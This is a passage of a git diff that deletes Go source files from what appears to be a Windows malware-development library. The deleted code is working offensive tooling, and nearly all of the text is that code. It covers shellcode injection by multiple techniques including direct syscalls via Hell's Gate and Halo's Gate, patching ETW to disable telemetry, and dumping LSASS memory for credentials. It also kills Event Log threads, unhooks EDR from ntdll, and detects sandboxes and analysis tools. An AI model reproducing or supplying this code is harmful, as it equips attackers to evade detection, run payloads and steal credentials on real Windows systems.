"syscall" - "unsafe" -) - -func ConvertStringSecurityDescriptorToSecurityDescriptorW(p1 uintptr, p2 uintptr, p3 uintptr, p4 uintptr) error { - advapi32 := windows.NewLazySystemDLL("advapi32.dll") - procConvertStringSecurityDescriptorToSecurityDescriptorW := advapi32.NewProc("ConvertStringSecurityDescriptorToSecurityDescriptorW") - - r, _, _ := syscall.Syscall6( - procConvertStringSecurityDescriptorToSecurityDescriptorW.Addr(), - 4, - uintptr(p1), - uintptr(p2), - uintptr(p3), - uintptr(p4), - 0, - 0, - ) - if r != 0 { - return syscall.Errno(r) - } - - return nil -} - -func BlockHandle() error { - sddl, _ := syscall.UTF16PtrFromString("D:P(D;OICI;GA;;;WD)(A;OICI;GA;;;SY)(A;OICI;GA;;;OW)") - var sec_descriptor *windows.SECURITY_DESCRIPTOR = nil - - ConvertStringSecurityDescriptorToSecurityDescriptorW( - uintptr(unsafe.Pointer(sddl)), - 1, - uintptr(unsafe.Pointer(sec_descriptor)), - 0, - ) - - windows.SetKernelObjectSecurity( - windows.CurrentProcess(), - windows.DACL_SECURITY_INFORMATION, - sec_descriptor, - ) - - sec := uintptr(unsafe.Pointer(sec_descriptor)) - windows.LocalFree(windows.Handle(sec)) - time.Sleep(10000 * time.Second) - - return nil -} diff --git a/core/consts.go b/core/consts.go deleted file mode 100644 index 531d832..0000000 --- a/core/consts.go +++ /dev/null @@ -1,81 +0,0 @@ -package core - -var drivers []string = []string{ // Sandbox drivers taken from https://github.com/LordNoteworthy/al-khaser - "C:\\Windows\\System32\\drivers\\VBoxMouse.sys", - "C:\\Windows\\System32\\drivers\\VBoxGuest.sys", - "C:\\Windows\\System32\\drivers\\VBoxSF.sys", - "C:\\Windows\\System32\\drivers\\VBoxVideo.sys", - "C:\\Windows\\System32\\vboxdisp.dll", - "C:\\Windows\\System32\\vboxhook.dll", - "C:\\Windows\\System32\\vboxmrxnp.dll", - "C:\\Windows\\System32\\vboxogl.dll", - "C:\\Windows\\System32\\vboxoglarrayspu.dll", - "C:\\Windows\\System32\\vboxservice.exe", - "C:\\Windows\\System32\\vboxtray.exe", - "C:\\Windows\\System32\\VBoxControl.exe", - "C:\\Windows\\System32\\drivers\\vmmouse.sys", - "C:\\Windows\\System32\\drivers\\vmhgfs.sys", - "C:\\Windows\\System32\\drivers\\vmci.sys", - "C:\\Windows\\System32\\drivers\\vmmemctl.sys", - "C:\\Windows\\System32\\drivers\\vmmouse.sys", - "C:\\Windows\\System32\\drivers\\vmrawdsk.sys", - "C:\\Windows\\System32\\drivers\\vmusbmouse.sys", -} - -var processes []string = []string{ // Sandbox processes taken from https://github.com/LordNoteworthy/al-khaser - "vboxservice.exe", - "vboxtray.exe", - "vmtoolsd.exe", - "vmwaretray.exe", - "vmware.exe", - "vmware-vmx.exe", - "vmwareuser", - "VGAuthService.exe", - "vmacthlp.exe", - "vmsrvc.exe", - "vmusrvc.exe", - "xenservice.exe", - "qemu-ga.exe", - // Some extra processes (added by me) - "wireshark.exe", - "Procmon.exe", - "Procmon64.exe", - "volatily.exe", - "volatily3.exe", - "DumpIt.exe", - "dumpit.exe", -} - -var hostnames_list []string = []string{ - "Sandbox", - "SANDBOX", - "malware", - "virus", - "Virus", - "sample", - "debug", - "USER-PC", - "analysis", - "cuckoo", - "cuckoofork", - "Cuckoo", -} - -var usernames_list []string = []string{ - "sandbox", - "virus", - "malware", - "debug4fun", - "debug", - "sys", - "user1", - "Virtual", - "virtual", - "analyis", - "trans_iso_0", - "j.yoroi", - "venuseye", - "VenusEye", - "VirusTotal", - "virustotal", -} diff --git a/core/createremotethread.go b/core/createremotethread.go deleted file mode 100644 index 9d69060..0000000 --- a/core/createremotethread.go +++ /dev/null @@ -1,233 +0,0 @@ -package core - -import ( - //"fmt" - "errors" - "syscall" - "unsafe" - - "golang.org/x/sys/windows" -) - -func CreateRemoteThread(shellcode []byte, pid int) error { - kernel32 := windows.NewLazySystemDLL("kernel32.dll") - - GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") - OpenProcess := kernel32.NewProc("OpenProcess") - VirtualAllocEx := kernel32.NewProc("VirtualAllocEx") - VirtualProtectEx := kernel32.NewProc("VirtualProtectEx") - WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") - CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx") - CloseHandle := kernel32.NewProc("CloseHandle") - - var pHandle uintptr - - if pid == 0 { - pHandle, _, _ = GetCurrentProcess.Call() - } else { - pHandle, _, _ = OpenProcess.Call( - windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, - uintptr(0), - uintptr(pid), - ) - } - - addr, _, _ := VirtualAllocEx.Call( - uintptr(pHandle), - 0, - uintptr(len(shellcode)), - windows.MEM_COMMIT|windows.MEM_RESERVE, - windows.PAGE_READWRITE, - ) - - if addr == 0 { - return errors.New("VirtualAllocEx failed and returned 0") - } - - WriteProcessMemory.Call( - uintptr(pHandle), - addr, - (uintptr)(unsafe.Pointer(&shellcode[0])), - uintptr(len(shellcode)), - ) - - oldProtect := windows.PAGE_READWRITE - VirtualProtectEx.Call( - uintptr(pHandle), - addr, - uintptr(len(shellcode)), - windows.PAGE_EXECUTE_READ, - uintptr(unsafe.Pointer(&oldProtect)), - ) - - CreateRemoteThreadEx.Call( - uintptr(pHandle), - 0, - 0, - addr, - 0, - 0, - 0, - ) - - _, _, errCloseHandle := CloseHandle.Call(pHandle) - if errCloseHandle != nil { - return errCloseHandle - } - - return nil -} - -/* - -Hell's Gate + Halo's Gate technique - -*/ - -func CreateRemoteThreadHalos(shellcode []byte) error { - - NtAllocateVirtualMemory, err := GetSysId("NtAllocateVirtualMemory") - if err != nil { - return err - } - - NtWriteVirtualMemory, err := GetSysId("NtWriteVirtualMemory") - if err != nil { - return err - } - - NtProtectVirtualMemory, err := GetSysId("NtProtectVirtualMemory") - if err != nil { - return err - } - - NtCreateThreadEx, err := GetSysId("NtCreateThreadEx") - if err != nil { - return err - } - - var addr uintptr - regionsize := uintptr(len(shellcode)) - - r1, err := Syscall( - NtAllocateVirtualMemory, - uintptr(0xffffffffffffffff), - uintptr(unsafe.Pointer(&addr)), - 0, - uintptr(unsafe.Pointer(®ionsize)), - windows.MEM_COMMIT|windows.MEM_RESERVE, - syscall.PAGE_READWRITE, - ) - if r1 != 0 { - return err - } - - Syscall( - NtWriteVirtualMemory, - uintptr(0xffffffffffffffff), - addr, - uintptr(unsafe.Pointer(&shellcode[0])), - uintptr(len(shellcode)), - 0, - ) - - var oldProtect uintptr - r2, err := Syscall( - NtProtectVirtualMemory, - uintptr(0xffffffffffffffff), - uintptr(unsafe.Pointer(&addr)), - uintptr(unsafe.Pointer(®ionsize)), - syscall.PAGE_EXECUTE_READ, - uintptr(unsafe.Pointer(&oldProtect)), - ) - if r2 != 0 { - return err - } - - var hhosthread uintptr - r3, err := Syscall( - NtCreateThreadEx, - uintptr(unsafe.Pointer(&hhosthread)), - 0x1FFFFF, - 0, - uintptr(0xffffffffffffffff), - addr, - 0, - uintptr(0), - 0, - 0, - 0, - 0, - ) - - syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff) - - if r3 != 0 { - return err - } - - /*var addr uintptr - regionsize := uintptr(len(shellcode)) - - r1, err := Syscall( - NtAllocateVirtualMemory, - uintptr(0xffffffffffffffff), - uintptr(unsafe.Pointer(&addr)), - 0, - uintptr(unsafe.Pointer(®ionsize)), - windows.MEM_COMMIT|windows.MEM_RESERVE, - syscall.PAGE_READWRITE, - ) - if r1 != 0 { - fmt.Println("x") - return err - } - - Syscall( - NtWriteVirtualMemory, - uintptr(0xffffffffffffffff), - addr, - uintptr(unsafe.Pointer(&shellcode[0])), - uintptr(len(shellcode)), - 0, - ) - - var oldProtect uintptr - r2, err := Syscall( - NtProtectVirtualMemory, - uintptr(0xffffffffffffffff), - uintptr(unsafe.Pointer(&addr)), - uintptr(unsafe.Pointer(®ionsize)), - syscall.PAGE_EXECUTE_READ, - uintptr(unsafe.Pointer(&oldProtect)), - ) - if r2 != 0 { - fmt.Println("xx") - return err - } - - var hhosthread uintptr - r3, err := Syscall( - NtCreateThreadEx, - uintptr(unsafe.Pointer(&hhosthread)), - 0x1FFFFF, - 0, - uintptr(0xffffffffffffffff), - addr, - 0, - uintptr(0), - 0, - 0, - 0, - 0, - ) - - syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff) - - if r3 != 0 { - fmt.Println("xxx") - return err - }*/ - - return nil -} diff --git a/core/enumsystemlocales.go b/core/enumsystemlocales.go deleted file mode 100644 index 628cdd2..0000000 --- a/core/enumsystemlocales.go +++ /dev/null @@ -1,102 +0,0 @@ -package core - -import ( - "unsafe" - - "golang.org/x/sys/windows" -) - -func EnumSystemLocales(shellcode []byte) error { - - kernel32 := windows.NewLazyDLL("kernel32.dll") - ntdll := windows.NewLazyDLL("ntdll.dll") - VirtualAlloc := kernel32.NewProc("VirtualAlloc") - RtlMoveMemory := ntdll.NewProc("RtlMoveMemory") - EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx") - - addr, _, err := VirtualAlloc.Call( - 0, - uintptr(len(shellcode)), - windows.MEM_COMMIT|windows.MEM_RESERVE, - windows.PAGE_EXECUTE_READWRITE, - ) - - if addr == 0 { - return err - } - - RtlMoveMemory.Call( - addr, - (uintptr)(unsafe.Pointer(&shellcode[0])), - uintptr(len(shellcode)), - ) - - EnumSystemLocalesEx.Call( - addr, - 0, - 0, - 0, - ) - - return nil -} - -/* - -Hell's Gate + Halo's Gate technique - -*/ - -func EnumSystemLocalesHalos(shellcode []byte) error { - - kernel32 := windows.NewLazyDLL("kernel32.dll") - GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") - EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx") - - NtAllocateVirtualMemory, err := GetSysId("NtAllocateVirtualMemory") - if err != nil { - return err - } - - NtWriteVirtualMemory, err := GetSysId("NtWriteVirtualMemory") - if err != nil { - return err - } - - pHandle, _, _ := GetCurrentProcess.Call() - - var addr uintptr - regionsize := uintptr(len(shellcode)) - - r1, err := Syscall( - NtAllocateVirtualMemory, - uintptr(pHandle), - uintptr(unsafe.Pointer(&addr)), - 0, - uintptr(unsafe.Pointer(®ionsize)), - windows.MEM_COMMIT|windows.MEM_RESERVE, - windows.PAGE_EXECUTE_READWRITE, - ) - - if r1 != 0 { - return err - } - - Syscall( - NtWriteVirtualMemory, - uintptr(pHandle), - addr, - uintptr(unsafe.Pointer(&shellcode[0])), - uintptr(len(shellcode)), - 0, - ) - - EnumSystemLocalesEx.Call( - addr, - 0, - 0, - 0, - ) - - return nil -} diff --git a/core/etw.go b/core/etw.go deleted file mode 100644 index 43a1dba..0000000 --- a/core/etw.go +++ /dev/null @@ -1,41 +0,0 @@ -package core - -import ( - "encoding/hex" - "syscall" - "unsafe" -) - -func PatchEtw() error { - ntdll := syscall.NewLazyDLL("ntdll.dll") - procWriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory") - - procEtwEventWrite := ntdll.NewProc("EtwEventWrite") - procEtwEventWriteEx := ntdll.NewProc("EtwEventWriteEx") - procEtwEventWriteFull := ntdll.NewProc("EtwEventWriteFull") - procEtwEventWriteString := ntdll.NewProc("EtwEventWriteString") - procEtwEventWriteTransfer := ntdll.NewProc("EtwEventWriteTransfer") - - dataAddr := []uintptr{ - procEtwEventWriteFull.Addr(), - procEtwEventWrite.Addr(), - procEtwEventWriteEx.Addr(), - procEtwEventWriteString.Addr(), - procEtwEventWriteTransfer.Addr(), - } - - for i := range dataAddr { - - data, _ := hex.DecodeString("4833C0C3") - - procWriteProcessMemory.Call( - uintptr(0xffffffffffffffff), - uintptr(dataAddr[i]), - uintptr(unsafe.Pointer(&data[0])), - uintptr(len(data)), - 0, - ) - } - - return nil -} diff --git a/core/etwpcreateetwthread.go b/core/etwpcreateetwthread.go deleted file mode 100644 index a9932ee..0000000 --- a/core/etwpcreateetwthread.go +++ /dev/null @@ -1,62 +0,0 @@ -package core - -import ( - "unsafe" - - "golang.org/x/sys/windows" -) - -func EtwpCreateEtwThread(shellcode []byte) error { - - kernel32 := windows.NewLazySystemDLL("kernel32.dll") - ntdll := windows.NewLazySystemDLL("ntdll.dll") - - VirtualAlloc := kernel32.NewProc("VirtualAlloc") - VirtualProtect := kernel32.NewProc("VirtualProtect") - WaitForSingleObject := kernel32.NewProc("WaitForSingleObject") - - RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") - EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread") - - addr, _, err := VirtualAlloc.Call( - 0, - uintptr(len(shellcode)), - windows.MEM_COMMIT|windows.MEM_RESERVE, - windows.PAGE_READWRITE, - ) - if addr == 0 { - return err - } - - RtlCopyMemory.Call( - addr, - (uintptr)(unsafe.Pointer(&shellcode[0])), - uintptr(len(shellcode)), - ) - - oldProtect := windows.PAGE_READWRITE - VirtualProtect.Call( - addr, - uintptr(len(shellcode)), - windows.PAGE_EXECUTE_READ, - uintptr(unsafe.Pointer(&oldProtect)), - ) - - thread, _, err := EtwpCreateEtwThread.Call( - addr, - uintptr(0), - ) - if thread == 0 { - return err - } - - r, _, err := WaitForSingleObject.Call( - thread, - 0xFFFFFFFF, - ) - if r != 0 { - return err - } - - return nil -} diff --git a/core/injection.go b/core/injection.go deleted file mode 100644 index f436790..0000000 --- a/core/injection.go +++ /dev/null @@ -1,78 +0,0 @@ -package core - -import ( - "errors" - "strings" -) - -var techniques []string = []string{"CreateRemoteThread", "CreateRemoteThreadHalos", "CreateProcess", "EnumSystemLocales", "EnumSystemLocalesHalos", "Fibers", "QueueUserApc", "UuidFromString", "EtwpCreateEtwThread", "RtlCreateUserThread", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10"} - -func Inject(shellcode []byte, technique string, pid int) error { - - // Check especified injection technique - if (strings.ToLower(technique) == "createremotethread") || (strings.ToLower(technique) == "1") { - err := CreateRemoteThread(shellcode, pid) - if err != nil { // Handle error - return err - } - - } else if (strings.ToLower(technique) == "createremotethreadhalos") || (strings.ToLower(technique) == "2") { - err := CreateRemoteThreadHalos(shellcode) - if err != nil { // Handle error - return err - } - - } else if (strings.ToLower(technique) == "createprocess") || (strings.ToLower(technique) == "3") { - err := CreateProcess(shellcode, pid) - if err != nil { // Handle error - return err - } - - } else if (strings.ToLower(technique) == "enumsystemlocales") || (strings.ToLower(technique) == "4") { - err := EnumSystemLocales(shellcode) - if err != nil { // Handle error - return err - } - - } else if (strings.ToLower(technique) == "enumsystemlocaleshalos") || (strings.ToLower(technique) == "5") { - err := EnumSystemLocalesHalos(shellcode) - if err != nil { // Handle error - return err - } - - } else if (strings.ToLower(technique) == "fibers") || (strings.ToLower(technique) == "6") { - err := Fibers(shellcode) - if err != nil { // Handle error - return err - } - - } else if (strings.ToLower(technique) == "queueuserapc") || (strings.ToLower(technique) == "7") { - err := QueueUserApc(shellcode) - if err != nil { // Handle error - return err - } - - } else if (strings.ToLower(technique) == "uuidfromstring") || (strings.ToLower(technique) == "8") { - err := UuidFromString(shellcode) - if err != nil { // Handle error - return err - } - - } else if (strings.ToLower(technique) == "etwpcreateetwthread") || (strings.ToLower(technique) == "9") { - err := EtwpCreateEtwThread(shellcode) - if err != nil { // Handle error - return err - } - - } else if (strings.ToLower(technique) == "rtlcreateuserthread") || (strings.ToLower(technique) == "10") { - err := RtlCreateUserThread(shellcode, pid) - if err != nil { - return err - } - - } else { - return errors.New("invalid shellcode injection technique!") - } - - return nil -} diff --git a/core/lsass.go b/core/lsass.go deleted file mode 100644 index e63e2b1..0000000 --- a/core/lsass.go +++ /dev/null @@ -1,75 +0,0 @@ -package core - -/* - -References: -https://github.com/calebsargent/GoProcDump -https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass - -*/ - -import ( - "os" - "syscall" - "unsafe" - - mproc "github.com/D3Ext/maldev/process" -) - -func DumpLsass(output string) error { - err := ElevateProcessToken() - if err != nil { - return err - } - - all_lsass_pids, err := mproc.FindPidByName(string([]byte{'l', 's', 'a', 's', 's', '.', 'e', 'x', 'e'})) - if err != nil { - return err - } - lsass_pid := all_lsass_pids[0] - - //set up Win32 APIs - var dbghelp = syscall.NewLazyDLL("Dbghelp.dll") - var MiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump") - var kernel32 = syscall.NewLazyDLL("kernel32.dll") - var OpenProcess = kernel32.NewProc("OpenProcess") - var CreateFileW = kernel32.NewProc("CreateFileW") - - // error not handle because it's unstable - processHandle, _, _ := OpenProcess.Call( - uintptr(0xFFFF), - uintptr(1), - uintptr(lsass_pid), - ) - - // Create memory dump - os.Create(output) - - path, _ := syscall.UTF16PtrFromString(output) - fileHandle, _, _ := CreateFileW.Call( - uintptr(unsafe.Pointer(path)), - syscall.GENERIC_WRITE, - syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE, - 0, - syscall.OPEN_EXISTING, - syscall.FILE_ATTRIBUTE_NORMAL, - 0, - ) - - ret, _, err := MiniDumpWriteDump.Call( - uintptr(processHandle), - uintptr(lsass_pid), - uintptr(fileHandle), - 0x00061907, - 0, - 0, - 0, - ) - - if ret == 0 { - os.Remove(output) - return err - } - - return nil -} diff --git a/core/phant0m.go b/core/phant0m.go deleted file mode 100644 index e3ed98b..0000000 --- a/core/phant0m.go +++ /dev/null @@ -1,184 +0,0 @@ -package core - -import ( - "errors" - "fmt" - "syscall" - "unsafe" - - "golang.org/x/sys/windows" -) - -func GetEventLogPid() (uint32, error) { - var ssp windows.SERVICE_STATUS_PROCESS - var dwBytesNeeded uint32 - - scm, err := windows.OpenSCManager( - nil, - nil, - windows.SERVICE_QUERY_STATUS, - ) - if err != nil { - return 0, err - } - - eventlog, _ := syscall.UTF16PtrFromString("EventLog") - svc, err := windows.OpenService( - scm, - eventlog, - windows.SERVICE_QUERY_STATUS, - ) - if err != nil { - return 0, err - } - - err = windows.QueryServiceStatusEx( - svc, - windows.SC_STATUS_PROCESS_INFO, - (*byte)(unsafe.Pointer(&ssp)), - uint32(unsafe.Sizeof(ssp)), - &dwBytesNeeded, - ) - if err != nil { - windows.CloseServiceHandle(svc) - windows.CloseServiceHandle(scm) - return 0, err - } - - return ssp.ProcessId, nil -} - -// Recommended function -func Phant0m(eventlog_pid uint32) error { - return phant0m(eventlog_pid, false) -} - -// This function does the same but also prints threads IDs -func Phant0mWithOutput(eventlog_pid uint32) error { - return phant0m(eventlog_pid, true) -} - -// Main function -func phant0m(eventlog_pid uint32, verbose bool) error { - err := ElevateProcessToken() - if err != nil { - return err - } - - ntdll := windows.NewLazyDLL("ntdll.dll") - NtQueryInformationThread := ntdll.NewProc("NtQueryInformationThread") - - advapi32 := windows.NewLazyDLL("advapi32.dll") - I_QueryTagInformation := advapi32.NewProc("I_QueryTagInformation") - - kernel32 := windows.NewLazyDLL("kernel32.dll") - OpenThread := kernel32.NewProc("OpenThread") - OpenProcess := kernel32.NewProc("OpenProcess") - TerminateThread := kernel32.NewProc("TerminateThread") - CloseHandle := kernel32.NewProc("CloseHandle") - ReadProcessMemory := kernel32.NewProc("ReadProcessMemory") - CreateToolhelp32Snapshot := kernel32.NewProc("CreateToolhelp32Snapshot") - Thread32First := kernel32.NewProc("Thread32First") - - var hThreads uintptr - hThreads, _, _ = CreateToolhelp32Snapshot.Call( - windows.TH32CS_SNAPTHREAD, - 0, - ) - - if hThreads == 0 { - return errors.New("An error has occurred calling CreateToolhelp32Snapshot") - } - - tbi := PTHREAD_BASIC_INFORMATION{} - te32 := windows.ThreadEntry32{} - te32.Size = uint32(unsafe.Sizeof(te32)) - - Thread32First.Call( - hThreads, - uintptr(unsafe.Pointer(&te32)), - ) - - for true { - if te32.OwnerProcessID == eventlog_pid { - hEvtThread, _, _ := OpenThread.Call( - windows.THREAD_QUERY_LIMITED_INFORMATION|windows.THREAD_SUSPEND_RESUME|windows.THREAD_TERMINATE, - uintptr(0), - uintptr(te32.ThreadID), - ) - - if hEvtThread == 0 { - return errors.New("An error has occurred calling OpenThread") - } - - NtQueryInformationThread.Call( - uintptr(hEvtThread), - 0, - uintptr(unsafe.Pointer(&tbi)), - 0x30, - 0, - ) - - hEvtProcess, _, _ := OpenProcess.Call( - windows.PROCESS_VM_READ, - uintptr(0), - uintptr(te32.OwnerProcessID), - ) - - if hEvtProcess == 0 { - fmt.Println("2") - return errors.New("An error has occurred calling OpenProcess") - } - - if tbi.pTebBaseAddress != 0 { - scTagQuery := SC_SERVICE_TAG_QUERY{} - - var hTag byte - var pN uintptr - ReadProcessMemory.Call( - hEvtProcess, - tbi.pTebBaseAddress+0x1720, - uintptr(unsafe.Pointer(&hTag)), - unsafe.Sizeof(pN), - 0, - ) - - scTagQuery.processId = te32.OwnerProcessID - scTagQuery.serviceTag = uint32(hTag) - - I_QueryTagInformation.Call( - 0, - 1, // ServiceNameFromTagInformation - uintptr(unsafe.Pointer(&scTagQuery)), - ) - - if scTagQuery.pBuffer != nil { - if verbose { - fmt.Println(" Thread found:", te32.ThreadID) - } - - TerminateThread.Call( - uintptr(hEvtThread), - 0, - ) - } - - CloseHandle.Call(hEvtThread) - CloseHandle.Call(hEvtProcess) - } - } - - err := windows.Thread32Next( - windows.Handle(hThreads), - &te32, - ) - - if err != nil { - break - } - } - - CloseHandle.Call(hThreads) - - return nil -} diff --git a/core/syscall.go b/core/syscall.go deleted file mode 100644 index 0890bed..0000000 --- a/core/syscall.go +++ /dev/null @@ -1,81 +0,0 @@ -package core - -import ( - "fmt" - "syscall" - "unsafe" - - "golang.org/x/sys/windows" -) - -// Receives function address and arguments -func Syscall(callid uint16, argh ...uintptr) (errcode uint32, err error) { - errcode = bpSyscall(callid, argh...) - - if errcode != 0 { - err = fmt.Errorf("non-zero return from syscall") - } - - return errcode, err -} - -func bpSyscall(callid uint16, argh ...uintptr) (errcode uint32) - -func Execute(shellcode []byte) error { - kernel32 := windows.NewLazySystemDLL("kernel32.dll") - ntdll := windows.NewLazySystemDLL("ntdll.dll") - - VirtualAlloc := kernel32.NewProc("VirtualAlloc") - VirtualProtect := kernel32.NewProc("VirtualProtect") - RtlCopyMemory := ntdll.NewProc("RtlCopyMemory") - - // Allocate memory - addr, _, _ := VirtualAlloc.Call( - 0, - uintptr(len(shellcode)), - windows.MEM_COMMIT|windows.MEM_RESERVE, - windows.PAGE_READWRITE, - ) - - if addr == 0 { - return fmt.Errorf("VirtualAlloc failed and returned 0") - } - - RtlCopyMemory.Call( - addr, - (uintptr)(unsafe.Pointer(&shellcode[0])), - uintptr(len(shellcode)), - ) - - oldProtect := windows.PAGE_READWRITE - // Protect memory - VirtualProtect.Call( - addr, - uintptr(len(shellcode)), - windows.PAGE_EXECUTE_READ, - uintptr(unsafe.Pointer(&oldProtect)), - ) - - // Execute shellcode - _, _, errSyscall := syscall.Syscall( - addr, - 0, - 0, - 0, - 0, - ) - - if errSyscall != 0 { - return fmt.Errorf("Error executing shellcode syscall: %s", errSyscall.Error()) - } - - return nil -} - -func WriteMemory(inbuf []byte, destination uintptr) { - for index := uint32(0); index < uint32(len(inbuf)); index++ { - writePtr := unsafe.Pointer(destination + uintptr(index)) - v := (*byte)(writePtr) - *v = inbuf[index] - } -} diff --git a/core/unhook.go b/core/unhook.go deleted file mode 100644 index b1474a6..0000000 --- a/core/unhook.go +++ /dev/null @@ -1,239 +0,0 @@ -package core - -/* - -References: -https://github.com/RedLectroid/APIunhooker -https://www.ired.team/offensive-security/defense-evasion/bypassing-cylance-and-other-avs-edrs-by-unhooking-windows-apis - -*/ - -import ( - "bytes" - "errors" - "fmt" - "io/ioutil" - "strings" - "syscall" - "time" - "unsafe" - - "golang.org/x/sys/windows" - - "github.com/Binject/debug/pe" -) - -// This function unhooks given functions of especified dll -func ClassicUnhook(funcnames []string, dllpath string) error { - kernel32 := syscall.NewLazyDLL("kernel32.dll") - GetCurrentProcess := kernel32.NewProc("GetCurrentProcess") - GetModuleHandle := kernel32.NewProc("GetModuleHandleW") - GetProcAddress := kernel32.NewProc("GetProcAddress") - WriteProcessMemory := kernel32.NewProc("WriteProcessMemory") - - // should be full path: C:\\Windows\\System32\\ntdll.dll - lib, _ := syscall.LoadLibrary(dllpath) - defer syscall.FreeLibrary(lib) - - for _, f := range funcnames { - var assembly_bytes []byte - - procAddr, _ := syscall.GetProcAddress(lib, f) - - ptr_bytes := (*[1 << 30]byte)(unsafe.Pointer(procAddr)) - funcBytes := ptr_bytes[:5:5] - - for i := 0; i < 5; i++ { - assembly_bytes = append(assembly_bytes, funcBytes[i]) - } - - pHandle, _, _ := GetCurrentProcess.Call() - - // Convert dll name to pointer - lib_ptr, _ := windows.UTF16PtrFromString(strings.Split(dllpath, "\\")[3]) - moduleHandle, _, _ := GetModuleHandle.Call(uintptr(unsafe.Pointer(lib_ptr))) - - func_ptr, _ := windows.UTF16PtrFromString(f) - addr, _, _ := GetProcAddress.Call( - moduleHandle, - uintptr(unsafe.Pointer(func_ptr)), - ) - - // Overwrite address with original function bytes - WriteProcessMemory.Call( - pHandle, - addr, - uintptr(unsafe.Pointer(&assembly_bytes[0])), - 5, - uintptr(0), - ) - } - - return nil -} - -// Write to function address: 0x90, 0x90, 0x4c, 0x8b, 0xd1, 0xb8, 0xc1, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 -func PatchUnhook(func_to_unhook string) error { - - return nil // TODO -} - -// Load fresh DLL copy in memory -func FullUnhook(dllpath string) error { - - ntdll := syscall.NewLazyDLL("ntdll.dll") - ProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory") - - dll_f, err := ioutil.ReadFile(dllpath) - if err != nil { - return err - } - - pe_f, err := pe.Open(dllpath) - if err != nil { - return err - } - defer pe_f.Close() - - text_section := pe_f.Section(string([]byte{'.', 't', 'e', 'x', 't'})) - dllBytes := dll_f[text_section.Offset:text_section.Size] - - dll_load, err := windows.LoadDLL(dllpath) - if err != nil { - return err - } - - handle := dll_load.Handle - dllBase := uintptr(handle) - dllOffset := uint(dllBase) + uint(text_section.VirtualAddress) - - var oldfartcodeperms uintptr - regionsize := uintptr(len(dllBytes)) - handlez := uintptr(0xffffffffffffffff) - - runfunc, _, _ := ProtectVirtualMemory.Call( - handlez, - uintptr(unsafe.Pointer(&dllOffset)), - uintptr(unsafe.Pointer(®ionsize)), - syscall.PAGE_EXECUTE_READWRITE, - uintptr(unsafe.Pointer(&oldfartcodeperms)), - ) - - if runfunc != uintptr(windows.STATUS_SUCCESS) { - return fmt.Errorf("An error has occurred, ProtectVirtualMemory returned: %x\n", runfunc) - } - - for i := 0; i < len(dllBytes); i++ { - loc := uintptr(dllOffset + uint(i)) - mem := (*[1]byte)(unsafe.Pointer(loc)) - (*mem)[0] = dllBytes[i] - } - - runfunc, _, _ = ProtectVirtualMemory.Call( - handlez, - uintptr(unsafe.Pointer(&dllOffset)), - uintptr(unsafe.Pointer(®ionsize)), - oldfartcodeperms, - uintptr(unsafe.Pointer(&oldfartcodeperms)), - ) - - if runfunc != 0 { - return errors.New("an error has occurred") - } - - return nil -} - -func PerunsUnhook() error { - WriteProcessMemory := syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory") - - var si syscall.StartupInfo - var pi syscall.ProcessInformation - si.Cb = uint32(unsafe.Sizeof(syscall.StartupInfo{})) - - cmdline, err := syscall.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe") - if err != nil { - return err - } - - err = syscall.CreateProcess( - nil, - cmdline, - nil, - nil, - false, - windows.CREATE_NEW_CONSOLE|windows.CREATE_SUSPENDED, - nil, - nil, - &si, - &pi, - ) - - if err != nil { - return err - } - - time.Sleep(800 * time.Millisecond) - - ntd, _ := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'})) - if ntd == 0 { - return errors.New("an error has occurred while loading ntdll.dll") - } - addrMod := ntd - - ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(addrMod + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(addrMod)).E_lfanew))) - if ntHeader == nil { - return errors.New("an error has occurred while getting NT header") - } - - time.Sleep(50 * time.Millisecond) - - modSize := ntHeader.OptionalHeader.SizeOfImage - if modSize == 0 { - return errors.New("an error has occurred while getting NT header size") - } - - cache := make([]byte, modSize) - var lpNumberOfBytesRead uintptr - - err = windows.ReadProcessMemory( - windows.Handle(uintptr(pi.Process)), - addrMod, - &cache[0], - uintptr(modSize), - &lpNumberOfBytesRead, - ) - - if err != nil { - return err - } - - e := syscall.TerminateProcess(pi.Process, 0) - if e != nil { - return e - } - - time.Sleep(50 * time.Millisecond) - - pe0, err := pe.NewFileFromMemory(bytes.NewReader(cache)) - if err != nil { - return err - } - - secHdr := pe0.Section(string([]byte{'.', 't', 'e', 'x', 't'})) - - startOffset := findFirstSyscallOffset(cache, int(secHdr.VirtualSize), addrMod) - endOffset := findLastSyscallOffset(cache, int(secHdr.VirtualSize), addrMod) - cleanSyscalls := cache[startOffset:endOffset] - - // Don't handle error as it may return false errors - WriteProcessMemory.Call( - uintptr(0xffffffffffffffff), - uintptr(addrMod+uintptr(startOffset)), - uintptr(unsafe.Pointer(&cleanSyscalls[0])), - uintptr(len(cleanSyscalls)), - 0, - ) - - return nil -} diff --git a/core/wrappers.go b/core/wrappers.go deleted file mode 100644 index 697906a..0000000 --- a/core/wrappers.go +++ /dev/null @@ -1,94 +0,0 @@ -package core - -/* - -This file contains some useful functions which -act as a wrapper for native function so you can use them -like kernel32.dll original functions but using native ones -under the hood with Halo's Gate 